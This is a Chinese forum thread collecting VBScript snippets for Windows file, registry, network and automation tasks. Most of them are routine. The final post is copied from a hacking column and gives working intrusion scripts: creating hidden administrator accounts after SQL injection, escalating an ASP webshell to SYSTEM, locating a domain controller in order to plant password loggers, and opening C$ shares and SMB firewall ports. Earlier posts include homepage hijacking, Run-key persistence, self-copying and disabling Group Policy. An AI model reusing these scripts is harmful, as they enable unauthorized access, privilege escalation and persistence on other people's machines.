设为首页收藏本站
切换到宽版

 找回密码
 注册
搜索
批处理之家»论坛 › 其他脚本区 › VBS原创&转载 › VBS脚本在网络、注册表、文件等方面常用经典代码收集 ...
[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发新帖
查看: 20982|回复: 4

[转贴] VBS脚本在网络、注册表、文件等方面常用经典代码收集

[复制链接]
find
发表于 2012-3-1 22:48:07 | 显示全部楼层 |阅读模式
在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。

VBS脚本用途很多：

1. 计算
2. 处理文件和文件夹
3. 管理Windows
4. 处理Word, Excel, PowerPoint等Office文档
5. 嵌入网页，驱动dHTML
6. 编写HTTP通信
7. 调用系统功能（COM组件），比如说语音说话
8. 分析HTML, XML
9. 调用命令行并分析返回结果
10. 处理图片
11. 自动化按键
12. 调用Windows Media Player并管理
13. 调用Windows Live Messenger并管理
14. 服务端技术：Active Server Page (ASP)
15. 脚本病毒
16. 处理数据库

下面是我收集的VBS代码，大部分转自gangzi.org，以后还会更新。

VBS获取系统安装路径

先定义这个变量是获取系统安装路径的，然后我们用”&strWinDir&”调用这个变量。

  1. set WshShell = WScript.CreateObject("WScript.Shell")
  2. strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")
复制代码


VBS获取C:\Program Files路径

  1. msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")
复制代码


VBS获取C:\Program Files\Common Files路径

  1. msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")
复制代码


给桌面添加网址快捷方式

  1. set gangzi = WScript.CreateObject("WScript.Shell")
  2. strDesktop = gangzi.SpecialFolders("Desktop")
  3. set oShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk")
  4. oShellLink.TargetPath = "http://www.fendou.info"
  5. oShellLink.Description = "Internet Explorer"
  6. oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"
  7. oShellLink.Save
复制代码


给收藏夹添加网址

  1. Const ADMINISTRATIVE_TOOLS = 6

  3. Set objShell = CreateObject("Shell.Application")
  4. Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
  5. Set objFolderItem = objFolder.Self

  7. Set objShell = WScript.CreateObject("WScript.Shell")
  8. strDesktopFld = objFolderItem.Path
  9. Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url")
  10. objURLShortcut.TargetPath = "http://www.fendou.info/"
  11. objURLShortcut.Save
复制代码


删除指定目录指定后缀文件

  1. On Error Resume Next
  2. Set fso = CreateObject("Scripting.FileSystemObject")
  3. fso.DeleteFile "C:\*.vbs", True
  4. Set fso = Nothing
复制代码


VBS改主页

  1. Set oShell = CreateObject("WScript.Shell")
  2. oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.fendou.info"
复制代码


VBS加启动项

  1. Set oShell=CreateObject("Wscript.Shell")
  2. oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"
复制代码


VBS复制自己

  1. set copy1=createobject("scripting.filesystemobject")
  2. copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")
复制代码


复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)

  1. set copy1=createobject("scripting.filesystemobject")
  2. copy1.getfile("game.exe").copy("c:\gangzi.exe")
复制代码


VBS获取系统临时目录

  1. Dim fso
  2. Set fso = CreateObject("Scripting.FileSystemObject")
  3. Dim tempfolder
  4. Const TemporaryFolder = 2
  5. Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
  6. Wscript.Echo tempfolder
复制代码


就算代码出错 依然继续执行

  1. On Error Resume Next
复制代码
回复

举报

find
 楼主| 发表于 2012-3-1 22:49:51 | 显示全部楼层
VBS打开网址
  1. Set objShell = CreateObject("Wscript.Shell")
  2. objShell.Run("http://www.fendou.info/")
复制代码
VBS发送邮件
  1. NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
  2. Set Email = CreateObject("CDO.Message")
  3. Email.From = "发件@qq.com"
  4. Email.To = "收件@qq.com"
  5. Email.Subject = "Test sendmail.vbs"
  6. Email.Textbody = "OK!"
  7. Email.AddAttachment "C:\1.txt"
  8. With Email.Configuration.Fields
  9. .Item(NameSpace&"sendusing") = 2
  10. .Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com"
  11. .Item(NameSpace&"smtpserverport") = 25
  12. .Item(NameSpace&"smtpauthenticate") = 1
  13. .Item(NameSpace&"sendusername") = "发件人用户名"
  14. .Item(NameSpace&"sendpassword") = "发件人密码"
  15. .Update
  16. End With
  17. Email.Send
复制代码
VBS结束进程
  1. strComputer = "."
  2. Set objWMIService = GetObject _
  3.     ("winmgmts:\" & strComputer & "\root\cimv2")
  4. Set colProcessList = objWMIService.ExecQuery _
  5.     ("Select * from Win32_Process Where Name = 'Rar.exe'")
  6. For Each objProcess in colProcessList
  7.     objProcess.Terminate()
  8. Next
复制代码
VBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)
  1. createObject("wscript.shell").run "iexplore http://www.fendou.info/",0
复制代码
兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。
  1. Set objws=WScript.CreateObject("wscript.shell")
  2. objws.Run """C:\Program Files\Internet Explorer\iexplore.exe""www.baidu.com",vbhide
复制代码
VBS遍历硬盘删除指定文件名
  1. On Error Resume Next
  2. Dim fPath
  3. strComputer = "."
  4. Set objWMIService = GetObject _
  5.     ("winmgmts:\" & strComputer & "\root\cimv2")
  6. Set colProcessList = objWMIService.ExecQuery _
  7.     ("Select * from Win32_Process Where Name = 'gangzi.exe'")
  8. For Each objProcess in colProcessList
  9.     objProcess.Terminate()
  10. Next
  11. Set objWMIService = GetObject("winmgmts:" _
  12. & "{impersonationLevel=impersonate}!\" & strComputer & "\root\cimv2")
  13. Set colDirs = objWMIService. _
  14. ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'")
  15. Set objFSO = CreateObject("Scripting.FileSystemObject")
  16. For Each objDir in colDirs
  17. fPath = objDir.Name & "\gangzi.exe"
  18. objFSO.DeleteFile(fPath), True
  19. Next
复制代码
VBS获取网卡MAC地址
  1. Dim mc,mo
  2. Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
  3. For Each mo In mc
  4. If mo.IPEnabled=True Then
  5. MsgBox "本机网卡MAC地址是: " & mo.MacAddress
  6. Exit For
  7. End If
  8. Next
复制代码
VBS获取本机注册表主页地址
  1. Set reg=WScript.CreateObject("WScript.Shell")
  2. startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")
  3. MsgBox startpage
复制代码
VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话
  1. On Error Resume Next
  2. Set fso = CreateObject("Scripting.FileSystemObject")
  3. Co = VbCrLf & "路过。。。"

  5. For Each i In fso.Drives
  6.   If i.DriveType = 2 Then
  7.     GF fso.GetFolder(i & "")
  8.   End If
  9. Next

  11. Sub GF(fol)
  12.   Wh fol
  13.   Dim i
  14.   For Each i In fol.SubFolders
  15.     GF i
  16.   Next
  17. End Sub

  19. Sub Wh(fol)
  20.   Dim i
  21.   For Each i In fol.Files
  22.     If LCase(fso.GetExtensionName(i)) = "shtml" Then
  23.       fso.OpenTextFile(i,8,0).Write Co
  24.     End If
  25.   Next
  26. End Sub
复制代码
获取计算机所有盘符
  1. Set fso=CreateObject("scripting.filesystemobject")
  2. Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器
  3. For Each objdrive In objdrives   '遍历磁盘
  4. MsgBox objdrive
  5. Next
复制代码
VBS给本机所有磁盘根目录创建文件
  1. On Error Resume Next
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器
  4. For Each gangzi In gangzis   '遍历磁盘
  5. Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)
  6. TestFile.WriteLine("By www.gangzi.org")
  7. TestFile.Close
  8. Next
复制代码
VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe
  1. set fs = CreateObject("Scripting.FileSystemObject")

  3. for each drive in fs.drives
  4. fstraversal drive.rootfolder
  5. next

  7. sub fstraversal(byval this)
  8. for each folder in this.subfolders
  9. fstraversal folder
  10. next
  11. set files = this.files
  12. for each file in files
  13. if file.name = "123.exe" then file.name = "321.exe"
  14. next
  15. end sub
复制代码
回复

举报

find
 楼主| 发表于 2012-3-1 22:52:17 | 显示全部楼层
VBS写入代码到粘贴板（先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现）
  1. str=“这里是你要复制到剪贴板的字符串”
  2. Set ws = wscript.createobject("wscript.shell")
  3. ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true
复制代码
QQ自动发消息
  1. On Error Resume Next
  2. str="我是笨蛋/qq"
  3. Set WshShell=WScript.CreateObject("WScript.Shell")
  4. WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0
  5. WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true
  6. WScript.Sleep 3000
  7. WshShell.SendKeys "^v"
  8. WshShell.SendKeys "%s"
复制代码
VBS隐藏文件
  1. Set objFSO = CreateObject("Scripting.FileSystemObject")
  2. Set objFile = objFSO.GetFile("F:\软件大赛\show.txt")
  3. If objFile.Attributes = objFile.Attributes AND 2 Then
  4.     objFile.Attributes = objFile.Attributes XOR 2
  5. End If
复制代码
VBS生成随机数（521是生成规则，不同的数字生成的规则不一样，可以用于其它用途）
  1. Randomize 521
  2. point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
  3. msgbox join(point,"")
复制代码
VBS删除桌面IE图标（非快捷方式）
  1. Set oShell = CreateObject("WScript.Shell")
  2. oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
复制代码
VBS获取自身文件名
  1. Set fso = CreateObject("Scripting.FileSystemObject")
  2. msgbox WScript.ScriptName
复制代码
VBS读取Unicode编码的文件
  1. Set objFSO = CreateObject("Scripting.FileSystemObject")
  2. Set objFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)
  3. strText = objFile.ReadAll
  4. objFile.Close
  5. Wscript.Echo strText
复制代码
VBS读取指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径
  1. set stm2 =createobject("ADODB.Stream")
  2. stm2.Charset = "utf-8"
  3. stm2.Open
  4. stm2.LoadFromFile gangzi
  5. readfile = stm2.ReadText
  6. MsgBox readfile
复制代码
VBS禁用组策略
  1. Set oShell = CreateObject("WScript.Shell")
  2. oShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins",1,"REG_DWORD"
复制代码
VBS写指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径，gangzi2是内容变量
  1. gangzi="1.txt"
  2. gangzi2="www.gangzi.org"
  3. Set Stm1 = CreateObject("ADODB.Stream")
  4. Stm1.Type = 2
  5. Stm1.Open
  6. Stm1.Charset = "UTF-8"
  7. Stm1.Position = Stm1.Size
  8. Stm1.WriteText gangzi2
  9. Stm1.SaveToFile gangzi,2
  10. Stm1.Close
  11. set Stm1 = nothing
复制代码
VBS获取当前目录下所有文件夹名字（不包括子文件夹）
  1. Set fso=CreateObject("scripting.filesystemobject")
  2. Set f=fso.GetFolder(fso.GetAbsolutePathName("."))
  3. Set folders=f.SubFolders
  4. For Each fo In folders
  5.   wsh.echo fo.Name
  6. Next
  7. Set folders=Nothing
  8. Set f=nothing
  9. Set fso=nothing
复制代码
VBS获取指定目录下所有文件夹名字（包括子文件夹）
  1. Dim t
  2. Set fso=WScript.CreateObject("scripting.filesystemobject")
  3. Set fs=fso.GetFolder("d:")
  4. WScript.Echo aa(fs)
  5. Function aa(n)
  6. Set f=n.subfolders
  7. For Each uu In f
  8. Set op=fso.GetFolder(uu.path)
  9. t=t & vbcrlf & op.path
  10. Call aa(op)
  11. Next
  12. aa=t
  13. End function
复制代码
VBS创建.URL文件（IconIndex参数不同的数字代表不同的图标，具体请参照SHELL32.dll里面的所有图标）
  1. set fso=createobject("scripting.filesystemobject")
  2. qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)
  3. qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)
  4. qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10)
  5. qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)
  6. Set TestFile=fso.CreateTextFile("qq.url",Ture)
  7. TestFile.WriteLine(qidong)
  8. TestFile.Close
复制代码
VBS写hosts（没写判断，无论存不存在都追加底部）
  1. Set fs = CreateObject("Scripting.FileSystemObject")
  2. path = ""&fs.GetSpecialFolder(1)&"\drivers\etc\hosts"
  3. Set f = fs.OpenTextFile(path,8,TristateFalse)
  4. f.Write ""&vbcrlf&"127.0.0.1 www.g.cn"&vbcrlf&"127.0.0.1 g.cn"
  5. f.Close
复制代码
VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace 下面所有键的名字并循环输出
  1. Const HKLM = &H80000002
  2. strPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace"
  3. Set oreg = GetObject("Winmgmts:\root\default:StdRegProv")
  4.     oreg.EnumKey HKLM,strPath,arr
  5.     For Each x In arr
  6.         WScript.Echo x
  7.     Next
复制代码
VBS创建txt文件
  1. Dim fso,TestFile
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture)
  4. TestFile.WriteLine("Hello,World!")
  5. TestFile.Close
复制代码
VBS创建文件夹
  1. Dim fso,fld
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. Set fld=fso.CreateFolder("C:\newFolder")
复制代码
VBS判断文件夹是否存在
  1. Dim fso,fld
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. If (fso.FolderExists("C:\newFolder")) Then
  4. msgbox("Folder exists.")
  5. else
  6. set fld=fso.CreateFolder("C:\newFolder")
  7. End If
复制代码
VBS使用变量判断文件夹
  1. Dim fso,fld
  2. drvName="C:"
  3. fldName="newFolder"
  4. Set fso=CreateObject("Scripting.FileSystemObject")
  5. If (fso.FolderExists(drvName&fldName)) Then
  6. msgbox("Folder exists.")
  7. else
  8. set fld=fso.CreateFolder(drvName&fldName)
  9. End If
复制代码
回复

举报

find
 楼主| 发表于 2012-3-1 22:54:08 | 显示全部楼层
VBS加输入框
  1. Dim fso,TestFile,fileName,drvName,fldName
  2. drvName=inputbox("Enter the drive to save to:","Drive letter")
  3. fldName=inputbox("Enter the folder name:","Folder name")
  4. fileName=inputbox("Enter the name of the file:","Filename")
  5. Set fso=CreateObject("Scripting.FileSystemObject")

  7. If(fso.FolderExists(drvName&fldName))Then
  8. msgbox("Folder exists")
  9. Else
  10. Set fld=fso.CreateFolder(drvName&fldName)
  11. End If

  13. Set TestFile=fso.CreateTextFile(drvName&fldName&""&fileName&".txt",True)

  15. TestFile.WriteLine("Hello,World!")
  16. TestFile.Close
复制代码
VBS检查是否有相同文件
  1. Dim fso,TestFile,fileName,drvName,fldName
  2. drvName=inputbox("Enter the drive to save to:","Drive letter")
  3. fldName=inputbox("Enter the folder name:","Folder name")
  4. fileName=inputbox("Enter the name of the file:","Filename")
  5. Set fso=CreateObject("Scripting.FileSystemObject")

  7. If(fso.FolderExists(drvName&fldName))Then
  8. msgbox("Folder exists")
  9. Else
  10. Set fld=fso.CreateFolder(drvName&fldName)
  11. End If

  13. If(fso.FileExists(drvName&fldName&""&fileName&".txt"))Then
  14. msgbox("File already exists.")
  15. Else
  16. Set TestFile=fso.CreateTextFile(drvName&fldName&""&fileName&".txt",True)
  17. TestFile.WriteLine("Hello,World!")
  18. TestFile.Close
  19. End If
复制代码
VBS改写、追加 文件
  1. Dim fso,openFile
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. Set openFile=fso.OpenTextFile("C:\test.txt",2,True)   '1表示只读，2表示可写，8表示追加
  4. openFile.Write "Hello World!"
  5. openFile.Close
复制代码
VBS读取文件 ReadAll 读取全部
  1. Dim fso,openFile
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
  4. MsgBox(openFile.ReadAll)
复制代码
VBS读取文件 ReadLine 读取一行
  1. Dim fso,openFile
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
  4. MsgBox(openFile.ReadLine())
  5. MsgBox(openFile.ReadLine())   '如果读取行数超过文件的行数，就会出错
复制代码
VBS读取文件 Read 读取n个字符
  1. Dim fso,openFile
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
  4. MsgBox(openFile.Read(2))   '如果超出了字符数，不会出错。
复制代码
VBS删除文件
  1. Dim fso
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. fso.DeleteFile("C:\test.txt")
复制代码
VBS删除文件夹
  1. Dim fso
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. fso.DeleteFolder("C:\newFolder") '不管文件夹中有没有文件都一并删除
复制代码
VBS连续创建文件
  1. Dim fso,TestFile
  2. Set fso=CreateObject("Scripting.FileSystemObject")
  3. For i=1 To 10
  4. Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture)
  5. TestFile.WriteLine("Hello,World!")
  6. TestFile.Close
  7. Next
复制代码
VBS根据计算机名随机生成字符串
  1. set ws=createobject("wscript.shell")
  2. set wenv=ws.environment("process")
  3. RDA=wenv("computername")
  4. Function UCharRand(n)
  5. For i=1 to n
  6. Randomize ASC(MID(RDA,1,1))
  7. temp = cint(25*Rnd)
  8. temp = temp +65
  9. UCharRand = UCharRand & chr(temp)
  10. Next
  11. End Function
  12. msgbox UCharRand(LEN(RDA))
复制代码
VBS根据mac生成序列号
  1. Function Encode(strPass)
  2.    Dim i, theStr, strTmp

  4.    For i = 1 To Len(strPass)
  5.     strTmp = Asc(Mid(strPass, i, 1))
  6.     theStr = theStr & Abs(strTmp)
  7.    Next

  9.    strPass = theStr
  10.    theStr = ""

  12.    Do While Len(strPass) > 16
  13.     strPass = JoinCutStr(strPass)
  14.    Loop

  16.    For i = 1 To Len(strPass)
  17.     strTmp = CInt(Mid(strPass, i, 1))
  18.     strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
  19.     theStr = theStr & strTmp
  20.    Next

  22.    Encode = theStr
  23. End Function

  25. Function JoinCutStr(str)
  26.    Dim i, theStr
  27.    For i = 1 To Len(str)
  28.     If Len(str) - i = 0 Then Exit For
  29.     theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))
  30.     i = i + 1
  31.    Next
  32.    JoinCutStr = theStr
  33. End Function

  35. Function IIf(var, val1, val2)
  36.    If var = True Then
  37.     IIf = val1
  38.    Else
  39.     IIf = val2
  40.    End If
  41. End Function

  43. Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
  44. For Each mo In mc
  45. If mo.IPEnabled=True Then
  46. theStr = mo.MacAddress
  47. Exit For
  48. End If
  49. Next

  51. Randomize Encode(theStr)
  52. rdnum=Int(10*Rnd+5)

  54. Function allRand(n)
  55.   For i=1 to n
  56.     Randomize Encode(theStr)
  57.     temp = cint(25*Rnd)
  58.     If temp mod 2 = 0 then
  59.       temp = temp + 97
  60.     ElseIf temp < 9 then
  61.       temp = temp + 48
  62.     Else
  63.       temp = temp + 65
  64.     End If
  65.     allRand = allRand & chr(temp)
  66.   Next
  67. End Function
  68. msgbox allRand(rdnum)
复制代码
回复

举报

find
 楼主| 发表于 2012-3-1 22:55:41 | 显示全部楼层
VBS自动连接adsl

  1. Dim Wsh
  2. Set Wsh = WScript.CreateObject("WScript.Shell")
  3. wsh.run "Rasdial 连接名字 账号 密码",false,1
复制代码


VBS自动断开ADSL

  1. Dim Wsh
  2. Set Wsh = WScript.CreateObject("WScript.Shell")
  3. wsh.run "Rasdial /DISCONNECT",false,1
复制代码


VBS每隔3秒自动更换IP并打开网址实例（值得一提的是，下面这个代码中每次打开的网址都是引用同一个IE窗口，也就是每次打开的是覆盖上次打开的窗口，如果需要每次打开的网址都是新窗口，直接使用run就可以了）

  1. Dim Wsh
  2. Set Wsh = WScript.CreateObject("WScript.Shell")
  3. Set oIE = CreateObject("InternetExplorer.Application")
  4. for i=1 to 5
  5. wsh.run "Rasdial /DISCONNECT",false,1
  6. wsh.run "Rasdial 连接名字 账号 密码",false,1
  7. oIE.Navigate "http://www.ip138.com/?"&i&""
  8. Call SynchronizeIE
  9. oIE.Visible = True
  10. next
  11. Sub SynchronizeIE
  12. On Error Resume Next
  13. Do While(oIE.Busy)
  14. WScript.Sleep 3000
  15. Loop
  16. End Sub
复制代码


用VBS来加管理员帐号
在注入过程中明明有了sa帐号，但是由于net.exe和net1.exe被限制，或其它的不明原因，总是加不了管理员帐号。VBS在活动目录（adsi）部份有一个winnt对像，可以用来管理本地资源，可以用它不依靠cmd等命令来加一个管理员，详细代码如下：

  1. set wsnetwork=CreateObject("WSCRIPT.NETWORK")
  2. os="WinNT://"&wsnetwork.ComputerName
  3. Set ob=GetObject(os) '得到adsi接口,绑定
  4. Set oe=GetObject(os&"/Administrators,group") '属性,admin组
  5. Set od=ob.Create("user","lcx") '建立用户
  6. od.SetPassword "123456" '设置密码
  7. od.SetInfo '保存
  8. Set of=GetObject(os&"/lcx",user) '得到用户
  9. oe.add os&"/lcx"
复制代码


这段代码如果保存为1.vbs，在cmd下运行，格式: cscript 1.vbs的话，会在当前系统加一个名字为lcx，密码为123456的管理员。当然，你可以用记事本来修改里边的变量lcx和123456，改成你喜欢的名字和密码值。

用vbs来列虚拟主机的物理目录
有时旁注入侵成功一个站，拿到系统权限后，面对上百个虚拟主机，怎样才能更快的找到我们目标站的物理目录呢？一个站一个站翻看太累，用系统自带的adsutil.vbs吧又感觉好像参数很多，有点无法下手的感觉，试试我这个脚本吧，代码如下：

  1. Set ObjService=GetObject("IIS://LocalHost/W3SVC")
  2. For Each obj3w In objservice
  3. If IsNumeric(obj3w.Name) Then
  4. sServerName=Obj3w.ServerComment
  5. Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
  6. ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf

  8. End If
  9. Next
  10. WScript.Echo ListAllWeb
  11. Set ObjService=Nothing
  12. WScript.Quit
复制代码


运行cscript 2.vbs后，就会详细列出IIS里的站点ID、描述、及物理目录，是不是代码少很多又方便呢？

用VBS快速找到内网域的主服务器
面对域结构的内网，可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台呢？dos命令像net group “domain admins” /domain可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，代码如下：

  1. set obj=GetObject("LDAP://rootDSE")
  2. wscript.echo obj.servername
复制代码


只用这两句代码就足够了，运行cscript 3.vbs，会有结果的。当然，无论是dos命令或vbs，你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码，你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell，或你的木马本来就是与桌面交互的，登陆你木马shell的又是域用户，就可以直接运行这些命令了。
vbs的在入侵中的作用当然不只这些，当然用js或其它工具也可以实现我上述代码的功能；不过这个专栏定下的题目是vbs在hacking中的妙用，所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目，争取为读者带来好的有用的文章。

WebShell提权用的VBS代码
asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下:

  1. set wsh=createobject("wscript.shell") '创建一个wsh对象
  2. a=wsh.run ("cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0) '加入asp.dll到InProcessIsapiApps中
复制代码


将其保存为vbs的后缀,再上传到服务上，
然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧，你会发现自己己经是system权限了

VBS开启ipc服务和相关设置

  1. Dim OperationRegistry
  2. Set OperationRegistry=WScript.CreateObject("WScript.Shell")
  3. OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0

  5. Set wsh3=wscript.createobject("wscript.shell")
  6. wsh3.Run "net user helpassistant 123456",0,false
  7. wsh3.Run "net user helpassistant /active",0,false
  8. wsh3.Run "net localgroup administrators helpassistant /add",0,false

  10. wsh3.Run "net start Lanmanworkstation /y",0,false
  11. wsh3.Run "net start Lanmanserver /y",0,false
  12. wsh3.Run "net start ipc$",0,True
  13. wsh3.Run "net share c$=c:",0,false

  15. wsh3.Run "netsh firewall set notifications disable",0,True
  16. wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false
  17. wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false
  18. wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false
  19. wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false
复制代码


VBS时间判断代码

  1. Digital=time
  2.     hours=Hour(Digital)
  3.     minutes=Minute(Digital)
  4.     seconds=Second(Digital)
  5.     if (hours<6) then
  6.         dn="凌辰了，还没睡啊？"
  7.     end if
  8.     if (hours>=6) then
  9.         dn="早上好！"
  10.     end if
  11.     if (hours>12) then
  12.         dn="下午好！"
  13.     end if
  14.     if (hours>18) then
  15.         dn="晚上好！"
  16.     end if
  17.     if (hours>22) then
  18.         dn="不早了，夜深了，该睡觉了！"
  19.     end if
  20.     if (minutes<=9) then
  21.         minutes="0" & minutes
  22.     end if
  23.     if (seconds<=9) then
  24.         seconds="0" & seconds
  25.     end if
  26. ctime=hours & ":" & minutes & ":" & seconds & " " & dn
  27. Msgbox ctime
复制代码


VBS注册表读写

  1. Dim OperationRegistry , mynum
  2. Set OperationRegistry=WScript.CreateObject("WScript.Shell")
  3. mynum = 9
  4. mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
  5. MsgBox("before forceguest = "&mynum)

  7. OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0

  9. mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
  10. MsgBox("after forceguest = "&mynum)
复制代码


http://dongbian.blog.51cto.com/2694115/702352
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|批处理之家 ( 渝ICP备10000708号 )

GMT+8, 2026-3-16 22:03 , Processed in 0.022715 second(s), 8 queries , File On.

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表